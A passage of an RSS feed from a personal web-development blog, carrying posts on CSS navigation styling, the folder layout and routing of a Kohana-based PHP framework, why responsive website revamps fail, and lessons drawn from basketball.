0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184H212.2c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V15.4c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm9.92.128v-5.232c-.075.213-.165.488-.272.824-.107.336-.216.693-.328 1.072-.112.38-.227.76-.344 1.144-.117.384-.224.73-.32 1.04-.096.31-.173.563-.232.76-.06.197-.088.296-.088.296-.02.064-.01.096.032.096h1.552zm1.568-6.48c.032 0 .048.02.048.064v11.088c0 .032-.016.048-.048.048h-1.52c-.032 0-.048-.016-.048-.048V23.56h-3.184c-.02 0-.032-.01-.032-.032v-1.152-.072c0-.027.005-.056.016-.088l2.064-6.416 2.704.016z&quot; fill=&quot;#FFF&quot;/&gt;&lt;path d=&quot;M136 33.167h30&quot; stroke=&quot;#FFF&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;square&quot;/&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;/figure&gt;
&lt;p&gt;If the amount of code on the pseudo-element gets to you, you can always just use the pipe character instead. The end result looks similar anyway.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;a {
  color: white;
  text-decoration: none;
  display: block;
  padding: 1rem 0rem 1rem 1rem;
  &amp;amp;:after {
    content: &amp;quot;|&amp;quot;;
    margin-left: 1rem;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;In spite of all the time I spent building this particular navigation bar, I do appreciate the experience. I probably wouldn&apos;t have understood the box model completely if not for it. In the event my designer ever reads this article, please know that in spite of all the times I show my &amp;quot;angry developer face&amp;quot; (something like this &lt;span class=&quot;kaomoji&quot;&gt;ಠ_ಠ&lt;/span&gt;), I still love you all the same &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/box-sizing&quot;&gt;Box sizing&lt;/a&gt; on &lt;a href=&quot;https://developer.mozilla.org/en-US/&quot;&gt;MDN&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model&quot;&gt;Introduction to the CSS box model&lt;/a&gt; on &lt;a href=&quot;https://developer.mozilla.org/en-US/&quot;&gt;MDN&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/CSS2/box.html#collapsing-margins&quot;&gt;Collapsing margins&lt;/a&gt; section of &lt;a href=&quot;https://www.w3.org/TR/CSS2/box.html&quot;&gt;Box Model Specification&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://csswizardry.com/2012/06/single-direction-margin-declarations/&quot;&gt;Single-direction margin declarations&lt;/a&gt; by &lt;a href=&quot;http://csswizardry.com/&quot;&gt;Harry Roberts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Introduction to the Base Framework</title><link>https://chenhuijing.com/blog/intro-to-base-framework/</link><guid isPermaLink="true">https://chenhuijing.com/blog/intro-to-base-framework/</guid><description>Update: The Kohana framework has been deprecated and the last stable version was 3.3.6 released on 25 July 2006. I had previously only ever had experience with…</description><pubDate>Mon, 15 Feb 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Update: The Kohana framework has been deprecated and the last stable version was 3.3.6 released on 25 July 2006.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I had previously only ever had experience with Drupal, which isn&apos;t an MVC (Model-View-Controller) framework. I had heard of MVC frameworks and even googled what it meant, but somehow it just did not click. After more than 2 years since my first professional start in web development, I&apos;m more certain than ever that if I don&apos;t build something for real, my brain just refuses to learn. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The creator of the base framework (who also used to be my boss) had expressed intent to open-source it, eventually (when he&apos;s less busy). So maybe some day in the future, some developer may chance upon the framework and try it for their project. Hopefully this post will still exist then and be of help.&lt;/p&gt;
&lt;h2&gt;Le Framework (as explained by a noob)&lt;/h2&gt;
&lt;p&gt;The framework is based on Kohana, which is an MVC (Model-View-Controller) framework. It&apos;s unimaginatively called the &lt;strong&gt;Base Framework&lt;/strong&gt;. Having been &amp;quot;brought up&amp;quot; on Drupal, I had been shielded from a lot of things, like routing. Drupal handles routing without me having to even think twice about it.&lt;/p&gt;
&lt;p&gt;A static site doesn&apos;t really use any routing (I think), so I hadn&apos;t been exposed to the intricacies of routing up till that point. Imagine my surprise when I realised that typing the URL of the page I just created gave me this wonderful error screen.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/base-framework/error-640.jpeg&quot;
  srcset=&quot;/images/posts/base-framework/error-480.jpeg 480w, /images/posts/base-framework/error-640.jpeg 640w, /images/posts/base-framework/error-960.jpeg 960w, /images/posts/base-framework/error-1280.jpeg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Controller not found error&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;My boss gave me a look reminiscent of one a renowned and powerful Jedi master gave his protégé.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/base-framework/padawan.jpg&quot;
  srcset=&quot;/images/posts/base-framework/padawan@2x.jpg 2x&quot;
  alt=&quot;Much to learn you still have&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;My role was mainly front-end development, which meant that anything related to the Views was my domain. But that didn&apos;t mean I could get away with not understanding how the framework worked in totality. As I was wrapping my head around it, I figured I&apos;d document my thoughts into some official-looking front-end developers documentation, which I am re-purposing into this blog post. &lt;em&gt;#whynot&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;So...MVC?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Model&lt;/strong&gt; represents the data structure. It does not depend on the controller or the view.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;View&lt;/strong&gt; displays the model data and sends user actions to the controller.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Controller&lt;/strong&gt; provides the model data to the view and interprets user actions.&lt;/p&gt;
&lt;h3&gt;Views - The &apos;V&apos; in MVC&lt;/h3&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  The framework itself is very flexible. You are actually free to structure the project files
  however you like, but if you ever plan on being friends with the other developers on your team, it
  is advisable to have some general guidelines. Our team structured the views folder like so:
&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;views/
|-- admin/
|
|-- front/
|   |-- common/
|   |-- page/
|   `-- template.php
|
`-- mobile/
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  Views for the admin interface are placed in the &lt;code&gt;admin&lt;/code&gt; folder, while those for the
  front-facing website are placed in the &lt;code&gt;front&lt;/code&gt; folder. Common elements like the head,
  navigation, header, footer and so on should be in individual &lt;code&gt;.php&lt;/code&gt; files, placed in
  the common folder. These blocks of code are called via the following statement in the template.php
  file:
&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php echo View::factory(&apos;common/FILE_NAME&apos;); &amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;template.php&lt;/code&gt; file determines the structure of the HTML document and is called via the &lt;code&gt;default.php&lt;/code&gt; file in the &lt;code&gt;controller&lt;/code&gt; folder.&lt;/p&gt;
&lt;h3&gt;Model and Controller - The &apos;M&apos; and &apos;C&apos; in MVC&lt;/h3&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  The &lt;code&gt;classes&lt;/code&gt; folder houses the controller and model portions of the framework. The
  file structure looks something like this:
&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;classes/
|-- controller/
|   |-- admin/
|   |
|   |-- front/
|   |   `-- default.php
|   |
|   `-- mobile/
|
|-- model/
|
`-- kohana.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In general, front-end developers will not make changes to the model. The controller will handle routing for the application and some of the business logic. I have been told by other experienced back-end developers that controllers shouldn&apos;t even have business logic in them. I, being a noob at this, am not qualified (yet) to give advice in this domain, so please consult your resident back-end developer instead.&lt;/p&gt;
&lt;h3&gt;Using the Base Framework&lt;/h3&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  The source code for the site is housed in the application folder, which has the following file
  structure:
&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;application/
|-- bootstrap.php
|-- cache/
|-- classes/
|-- config/
|-- i18n/
|-- logs/
|-- media/
|-- messages/
|-- skin/
|-- vendor/
`-- views/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For front-end development, most of the work will be done in the &lt;em&gt;skin&lt;/em&gt; and &lt;em&gt;views&lt;/em&gt; folders. The Base Framework also comes with a number of developer-friendly conveniences too.&lt;/p&gt;
&lt;h3&gt;Using a new library&lt;/h3&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  The media folder contains various external libraries used for development, like Bootstrap and
  jQuery UI, just to name a few. Of course, it is not mandatory to use them, but they have been
  included in the repository for the sake of convenience. That being said, my opinion on CSS
  frameworks is, roll your own, every time. This folder has the following structure:
&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;media/
|-- css/
|-- fonts/
|-- img/
`-- js/
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  The framework was built to optimise (concatenate, minify and cache) CSS (and SCSS) and JS files
  via the &lt;code&gt;config/media.php&lt;/code&gt; file. We can create groups to better organise your scripts,
  and determine their order. For example:
&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&apos;groups&apos; =&amp;gt; array(
  // Begin: CSS groups
  &apos;css&apos; =&amp;gt; array(
    &apos;responsive&apos; =&amp;gt; array(
      &apos;foundation/normalize.css&apos;,
      &apos;foundation/foundation.css&apos;,
    ),
    &apos;fluid&apos; =&amp;gt; array(
      &apos;reset.css&apos;,
      &apos;fluid.css&apos;,
      &apos;text.css&apos;,
      &apos;forms.css&apos;,
      &apos;buttons.css&apos;,
      &apos;sprite.css&apos;,
      &apos;listing.css&apos;,
      &apos;shared.css&apos;,
    ),
  ),
  &apos;js&apos; =&amp;gt; array(
    &apos;essential&apos; =&amp;gt; array(
      &apos;lazyload.js&apos;,
      &apos;underscore.js&apos;,
      &apos;jquery.js&apos;,
      &apos;jquery-ui.min.js&apos;,
      &apos;bootstrap.min.js&apos;,
    ),
  ),
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  In the above example, styles in &lt;code&gt;reset.css&lt;/code&gt; will come first, followed by{&quot; &quot;}
  &lt;code&gt;fluid.css&lt;/code&gt; and so on. As such, all the dependencies can be managed from this
  configuration file. Groups of scripts can be called by name-spacing the file as follows:
&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php echo html::style(&apos;media/css/group-GROUP_NAME.css&apos;); &amp;gt;
&amp;lt;?php echo html::style(&apos;media/js/group-GROUP_NAME.js&apos;); &amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  To add a new library, just add those files into their relevant folders in the media folder:
&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;media/
|-- css/
|-- fonts/
|-- img/
`-- js/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once the library files have been added to their respective folders, those files must be referenced in the &lt;code&gt;config/media.php&lt;/code&gt; file. There is documentation within the &lt;code&gt;media.php&lt;/code&gt; file on how use this file correctly (because my boss is a responsible developer).&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  The purpose of separating external library files from custom code is for hygiene as well as ease
  of upgrading. This is a concept that I learned when I was doing Drupal, but I think it applies to
  all frameworks in general. Any custom code or overrides should go into the &lt;em&gt;skin&lt;/em&gt; folder,
  which has the following file structure:
&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;skin/
|-- admin/
|   |-- css/
|   |-- img/
|   `-- js/
|
|-- front/
|   |-- css/
|   |-- img/
|   `-- js/
|
`-- mobile/
    |-- css/
    |-- img/
    `-- js/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Building and styling pages&lt;/h3&gt;
&lt;p&gt;Let&apos;s say we want to add a gallery page to the project. First, add a &lt;code&gt;gallery.php&lt;/code&gt; file to the &lt;code&gt;views/page&lt;/code&gt; folder. Routing for the front page is usually handled in the &lt;code&gt;default.php&lt;/code&gt; file in the &lt;code&gt;classes/controller/front/&lt;/code&gt; folder. I managed to find a pretty good explanation for the &lt;a href=&quot;http://zackperdue.com/tutorials/understanding-kohana-routes&quot;&gt;routing system used by Kohana&lt;/a&gt; written by &lt;a href=&quot;http://zackperdue.com/&quot;&gt;Zack Purdue&lt;/a&gt;. Read it and you will understand why the following route needs to be added inside the &lt;code&gt;Controller_Front_Default class&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;public function action_gallery() {
  $tpl = $this-&amp;gt;template;
  $tpl-&amp;gt;content = View::factory(&apos;page/gallery&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  The default CSS file is named &lt;code&gt;global.css&lt;/code&gt; and will contain the custom styles for the
  admin portion and front-facing portion of the site respectively. You can always change the name of
  the file, and change the corresponding line in the &lt;code&gt;template.php&lt;/code&gt; file to get it to
  load. For CSS styles that only apply to a particular page, name-space the stylesheet as follows:
&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;view-FOLDER_NAME-FILE_NAME.css
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  JavaScript is also handled in a similar way. There is a &lt;code&gt;global.js&lt;/code&gt; file which contains
  functions that are called on every page. If there are page-specific JavaScript functions, the file
  should be name-spaced like so:
&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;view-FOLDER_NAME-FILE_NAME.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  When we need to add custom styling to our pages and components, these code overrides will be made
  in the &lt;em&gt;skin&lt;/em&gt; folder. For this example, we will refer to the &lt;em&gt;front&lt;/em&gt; folder, but the
  other folders should follow the same structure as well.
&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;front/
|-- css/
|   |-- global.css
|   `-- view-page-gallery.css
|
|-- img/
`-- js/
   |-- global.js
   `-- view-page-gallery.js
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Dealing with images&lt;/h3&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  There are 3 folders in the Base Framework that are used to store images. Each folder serves a
  different purpose and images should be placed in their respective folders depending on their
  usage.
&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/assets
/application/media/img
/application/skin/SITE_SECTION/img
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Assets folder:&lt;/strong&gt; All content-related images should be stored here.
Examples of content-related images are user images, product images or article images. These images are part of the site&apos;s content.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Media folder:&lt;/strong&gt; All library-related images should be stored here. Some libraries that we use come with images, usually if they have a theme component. For example, if you use jQuery UI with a theme, the download comes with an image folder. If we want to use the pre-packaged theme, then those images go into the &lt;code&gt;media/img&lt;/code&gt; folder.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Skin folder:&lt;/strong&gt; All theme-related images should be stored here. As we style the site, we need to use icons and background images. These images should be placed in their respective &lt;code&gt;img&lt;/code&gt; folders in the &lt;code&gt;skin&lt;/code&gt; folder.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;That&apos;s pretty much it in terms of using the framework from a front-end developer&apos;s perspective. I will update this post to link to the source code of the framework once it&apos;s released to the wild. So stay tuned.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://web.archive.org/web/20161201193601/http://kohanaframework.org:80/3.3/guide/kohana/&quot;&gt;Kohana Official Documentation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://zackperdue.com/tutorials/understanding-kohana-routes&quot;&gt;Understanding Kohana Routes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Why some large-scale responsive website revamps fail</title><link>https://chenhuijing.com/blog/why-some-website-revamps-fail/</link><guid isPermaLink="true">https://chenhuijing.com/blog/why-some-website-revamps-fail/</guid><description>Go into any pitch or brief for a website project and I&apos;m fairly certain the word &quot;Responsive&quot; will be sprinkled liberally all throughout every conversation…</description><pubDate>Fri, 05 Feb 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Go into any pitch or brief for a website project and I&apos;m fairly certain the word &amp;quot;Responsive&amp;quot; will be sprinkled liberally all throughout every conversation during the session. Whether or not everyone in the room fully understands what that word entails, is another thing altogether. But the matter of fact is, with access to the web becoming increasingly ubiquitous on an infinitely wide range of devices, responsive web design is here to stay. I personally can&apos;t even remember the last time I built a non-responsive site.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A website redesign project is a software development project.&lt;/strong&gt; Companies and agencies who cannot understand this or lack the expertise to handle such projects tend to find themselves in a world of trouble as the project goes on. I&apos;m sure we&apos;ve all heard the adage &amp;quot;You never get a second chance to make a first impression&amp;quot;. In most agencies, the sales and marketing departments are the ones making that first impression with the client. When there is a disconnect between the marketing department and the people who create the work, everybody involved will be in for a hard time.&lt;/p&gt;
&lt;p&gt;There are a number of indicators that a website revamp will end up becoming a fire-fight, or even worse, fail altogether. Some of you can probably relate to this quite well. The statistics are alarming. According to &lt;a href=&quot;http://www.zdnet.com/article/research-25-percent-of-web-projects-fail/&quot;&gt;a study&lt;/a&gt; done back in 2008, the failure rate of website projects was around 25%. A recent high-profile failure would be &lt;a href=&quot;http://Healthcare.gov&quot;&gt;Healthcare.gov&lt;/a&gt;&apos;s failed launch. But it is important that we highlight these issues and how to mitigate them.&lt;/p&gt;
&lt;h2&gt;No clear digital strategy&lt;/h2&gt;
&lt;p&gt;Simply having a website or an app or two does not mean you&apos;ve &amp;quot;gone digital&amp;quot;. Your website is a tool to facilitate the digital experience, but a digital transformation is really much more than that. I highly recommend everyone who is involved in digital to read and internalise Paul Boag&apos;s &lt;a href=&quot;http://www.digital-adaptation.com/&quot;&gt;Digital Adaptation&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;By forming a digital strategy you have an opportunity to establish a firm direction for your online footprint, rather than being the victim of managerial whims. - Paul Boag&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The decision to implement a responsive website is a solution. But what we need to ask is, was the problem properly defined and does this solution solve it? Without a clear digital strategy, we have no basis on which to make decisions on what the appropriate solutions should be. This is why it is important for senior management to be fully aware and supportive of the organisation&apos;s digital strategy.&lt;/p&gt;
&lt;p&gt;All parties involved need to understand that the web is nothing like any other medium. The web is evolving at a neck-breaking pace, it is unpredictable, bordering on chaotic at times. We cannot hope to predict, control and manage this every-changing landscape. It is untenable to apply traditional business strategies, which operate on the premise that you can plan and budget for the next five years, to the web.&lt;/p&gt;
&lt;h2&gt;Insufficient experience and expertise&lt;/h2&gt;
&lt;p&gt;This is why it is crucial to have an experienced team well-equipped to traverse this landscape. The emphasis here is on team and close collaboration across various disciplines. The traditional waterfall approach of having specialists operating in silo and passing on the project from one phase to the next is no longer effective nor relevant.&lt;/p&gt;
&lt;p&gt;For an agency who wishes to undertake such projects, it is mandatory that every person involved has strong digital backgrounds. It is not enough to simply understand the digital landscape yourself. To provide direction on how to navigate a landscape that is in a constant state of flux. Working together with the client to come up with the best approach for solving their business problems.&lt;/p&gt;
&lt;p&gt;A responsive website is just one way to cater for mobile consumers. Depending on the nature of the business and the organisation&apos;s business strategy and objectives, maybe a native application is a better solution. There is no clear cut answer to which is better. The trick is to assess the needs of the business, then choose the solution with the best fit. Context is everything. &lt;strong&gt;The problem must be framed in the context of the organisation in question&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;It takes expertise and experience from the digital team to not only come up with the most appropriate solution, but also, clearly articulate to senior management and relevant stakeholders why the solution was proposed, and how it can benefit the business.&lt;/p&gt;
&lt;h2&gt;Mismanagement of expectations&lt;/h2&gt;
&lt;p&gt;Without the aforementioned experience and expertise in handling responsive web projects, it is inevitable that the estimation of effort required will be terribly off the mark. The web is a reasonably young medium, and there is nothing quite like it. Stakeholders and management, who are not familiar with digital and the web, will not be able to gauge the complexity of the project. The onus thus falls on the digital team, be it internal or external, to flag out the high risk areas, and cater for worst-case scenarios accordingly.&lt;/p&gt;
&lt;p&gt;Client or stakeholder education is of utmost importance at the beginning of the project. This is where expectations are set and impressions are made. The digital team is put in charge of the endeavour because they are supposed to be the experts in this field, and can provide the necessary guidance and direction to move the project forward. Stakeholders need to understand that there will be some unknowns that will only be unearthed once development actually begins.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It is impossible to educate another about something you do not fully understand&lt;/strong&gt;. When the digital team lacks the requisite skills and experience, resulting in stakeholders with unrealistic expectations, the project will undoubtedly end up being a fire-fight or worse, fail altogether. A poorly scoped project, based on estimates given by someone who has no hands-on experience with the actual work required, is often a recipe for disaster.&lt;/p&gt;
&lt;h2&gt;Lack of transparency and communication&lt;/h2&gt;
&lt;p&gt;A responsive design is more than just displaying content nicely on different screen widths. A successful responsive design is heavily dependent on content, performance and user experience. All three are intertwined, which means that the content strategists, the UX researchers, designers and developers must all be on the same page. It has to be a collaboration across disciplines.&lt;/p&gt;
&lt;p&gt;User research will drive the content and direction of the project, that in turn shapes the design, which impacts the architecture and development. Because every role brings something different to the table, communication is key. Developers understand the web more deeply than anyone else, and will be able to provide feedback on the feasibility and implications of certain design decisions. Designers will use their expertise to present the content in a way that best fits each use case. But the key thing here is, communication must take place throughout the process.&lt;/p&gt;
&lt;p&gt;The digital team are not only domain experts, but they have to be able to explain what they do and why they do it in terms that clients and stakeholders can understand. &lt;strong&gt;In other words, they also have to be professional communicators&lt;/strong&gt;. Without the proper buy-in from key decision makers, there is a high risk of the project collapsing like a house of cards.&lt;/p&gt;
&lt;p&gt;There will inevitably be bumps in the process or issues that the team did not expect. We cannot hide these challenges from stakeholders and pretend everything is peachy. The team needs to be up front about any issues, why they came about and explain how the issues will be mitigated. By involving the stakeholders in the mitigation plan, they might provide valuable insight that contribute to solving the issue. Perhaps that feature did not have to built that way in the first place.&lt;/p&gt;
&lt;h2&gt;Building with sub-optimal processes&lt;/h2&gt;
&lt;p&gt;The meat of the project is the actual building of the website. &lt;strong&gt;Every website revamp must be built on clearly documented functional requirements&lt;/strong&gt;. Some may argue that this is a relic from IT projects of the past that utilise a very water-fall approach, but I disagree. Functional requirements can take the form of user stories. This portion of the planning involves the digital team working very closely with the stakeholders to fully understand the nature and objectives of the business. The digital team&apos;s expertise comes into play when it comes to articulating those objectives into user stories that will form the backbone of the project.&lt;/p&gt;
&lt;p&gt;From a design standpoint, a style-guide driven approach would allow for consistency throughout the site, as well as facilitate a more efficient front-end build. CSS architecture is especially important, but often overlooked. The challenge with CSS is that it is easy enough for most people to pick up, but takes effort and experience to architect well. The larger the project, the more critical it is to have working agreements on name-spacing, coding-style, file structure and a proper deployment process. Of course, this also applies to code of all languages that will be used in the project.&lt;/p&gt;
&lt;p&gt;Building up a style guide of components early allows any inconsistencies in the design to be flushed out and discussed early. I&apos;ve worked with high-fidelity comps provided by designers that had up to 7 or 8 shades of yellow. But upon clarification with the designer, it turns out that the client had asked her to make modifications so many times that she simply missed out updating all the relevant components. But if we had instead worked on low-fidelity static comps and translated them into HTML and CSS early, things like updating colour schemes would take much less time than if a designer had to change the colours in their static PSD files.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Nobody starts a project with the expectation it will fail. Given the ubiquitous nature of the web today, an organisation&apos;s web presence is more important than ever before. It is something that will directly affect a business&apos;s bottom line. Those of us who live and work on and with the web need to advocate change for the better. Every one of us has the responsibility to constantly improve ourselves in terms of skills, knowledge and processes. Then, we need to educate those around us who do not do this for a living. We cannot simply shrug and accept the status quo, thinking we cannot make a difference. We can, we should and we must.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image by &lt;a href=&quot;http://mimblewimble.deviantart.com/art/FAILURE-98168465&quot;&gt;Mim&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Life lessons from the sport I love</title><link>https://chenhuijing.com/blog/on-life-and-basketball/</link><guid isPermaLink="true">https://chenhuijing.com/blog/on-life-and-basketball/</guid><description>People who got to know me within the past two years may see me as that nerd who loves to code. Fellow developers may think of me as that person with an…</description><pubDate>Fri, 25 Dec 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;People who got to know me within the past two years may see me as that nerd who loves to code. Fellow developers may think of me as that person with an irrational love for CSS. But for most of my life (even now, to be honest), I was &amp;quot;that basketball player&amp;quot;.&lt;/p&gt;
&lt;p&gt;I did not grow up in an athletic household. Nobody really did sports seriously. We were a typical Asian family, with typical Asian values of academic excellence. Throwing a ball around, albeit with high levels of skill and precision, didn&apos;t net you much in the achievements department.&lt;/p&gt;
&lt;p&gt;I started playing organised basketball when I was 13, and that kick-started a journey that made me who I am today. Even though, at the time, it seemed like the elders of the household did not approve of this athletic endeavour, my siblings always had my back.&lt;/p&gt;
&lt;p&gt;They didn&apos;t have to say it, but I felt it from their actions. In hindsight, I now realise how important that support was. Let&apos;s just say, I never really had any major self-esteem or confidence issues growing up.&lt;/p&gt;
&lt;p&gt;There&apos;s a very clichéd saying that basketball doesn&apos;t build character as much as it reveals it. I think it does both. We were playing in the national semi-final for the under-14 school tournament, and our team was down by 2 points with time running out. And even though this was 14 years ago, I remember it like yesterday.&lt;/p&gt;
&lt;p&gt;I called for the ball and drove to the hoop knowing I would be fouled. If I had made the shot anyway, and got the foul after, things would have been easier for everyone. But, you know, life. If I make both free throws, we would have tied, and who knows what would have happened in overtime. I missed one.&lt;br&gt;
Shit.&lt;br&gt;
Season over.&lt;/p&gt;
&lt;p&gt;But I knew that I wanted the ball in my hands. I was going to have an impact on the ending regardless. So we lost, it wasn&apos;t like anybody died or anything, but I was pretty upset at the time. I remember making 22 free throws in a row the next day. Too little too late though. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Life lesson #1:&lt;/strong&gt; Things don&apos;t always go your way. Pick yourself up, dust yourself off and move on.&lt;/p&gt;
&lt;p&gt;I had a 2-hour commute to and from school at the time. And remember Asian values? I landed my ass in a pretty strong academic school and so, schoolwork + basketball + travel-time = &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face screaming in fear&quot;&gt;😱&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;I learned pretty early on that trying to do everything at once is a recipe for failure. You&apos;ll just end up feeling so overwhelmed that you can&apos;t finish anything at all. But the ridiculous schedule meant I was forced to learn how to prioritise early on in my life.&lt;/p&gt;
&lt;p&gt;Think of it this way. It&apos;s like when you&apos;re playing Assassin&apos;s Creed, you don&apos;t jump into an area filled with enemy guards, get yourself surrounded and take a beating. It&apos;s much easier to pick them off one by one. Same principle. Video games mirror life, people.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Overwhelming&lt;/figcaption&gt;
    &lt;img
      alt=&quot;Surrounded by enemies&quot;
      srcset=&quot;/images/posts/life-lessons/ac1@2x.jpg 2x&quot;
      src=&quot;/images/posts/life-lessons/ac1.jpg&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Not so overwhelming&lt;/figcaption&gt;
    &lt;img
      alt=&quot;Stealth kill&quot;
      srcset=&quot;/images/posts/life-lessons/ac2@2x.jpg 2x&quot;
      src=&quot;/images/posts/life-lessons/ac2.jpg&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Life lesson #2:&lt;/strong&gt; You can do anything. But you can&apos;t do everything. Prioritise your tasks, finish each one, and check it off your list.&lt;/p&gt;
